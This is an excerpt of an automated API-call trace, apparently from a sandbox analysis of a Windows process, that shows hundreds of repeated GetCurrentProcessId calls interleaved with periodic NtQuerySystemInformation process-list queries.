[0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.327] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.328] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.329] GetCurrentProcessId () returned 0x10c0 [0267.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.877] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.878] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.879] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.880] GetCurrentProcessId () returned 0x10c0 [0267.881] GetCurrentProcessId () returned 0x10c0 [0267.881] GetCurrentProcessId () returned 0x10c0 [0267.881] GetCurrentProcessId () returned 0x10c0 [0267.881] GetCurrentProcessId () returned 0x10c0 [0267.881] GetCurrentProcessId () returned 0x10c0 [0267.881] GetCurrentProcessId () returned 0x10c0 [0267.881] GetCurrentProcessId () returned 0x10c0 [0267.881] GetCurrentProcessId () returned 0x10c0 [0267.881] GetCurrentProcessId () returned 0x10c0 [0268.426] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dc00) returned 0x0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.435] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.436] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.437] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.438] GetCurrentProcessId () returned 0x10c0 [0268.439] GetCurrentProcessId () returned 0x10c0 [0268.439] GetCurrentProcessId () returned 0x10c0 [0268.439] GetCurrentProcessId () returned 0x10c0 [0268.439] GetCurrentProcessId () returned 0x10c0 [0268.439] GetCurrentProcessId () returned 0x10c0 [0268.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dc00) returned 0x0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.952] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.953] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.954] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.955] GetCurrentProcessId () returned 0x10c0 [0268.956] GetCurrentProcessId () returned 0x10c0 [0268.956] GetCurrentProcessId () returned 0x10c0 [0268.956] GetCurrentProcessId () returned 0x10c0 [0268.956] GetCurrentProcessId () returned 0x10c0 [0268.956] GetCurrentProcessId () returned 0x10c0 [0268.956] GetCurrentProcessId () returned 0x10c0 [0268.956] GetCurrentProcessId () returned 0x10c0 [0268.956] GetCurrentProcessId () returned 0x10c0 [0268.956] GetCurrentProcessId () returned 0x10c0 [0269.492] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.494] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.495] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.496] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.497] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0269.498] GetCurrentProcessId () returned 0x10c0 [0270.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dbb0) returned 0x0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.189] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.190] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] GetCurrentProcessId () returned 0x10c0 [0270.191] 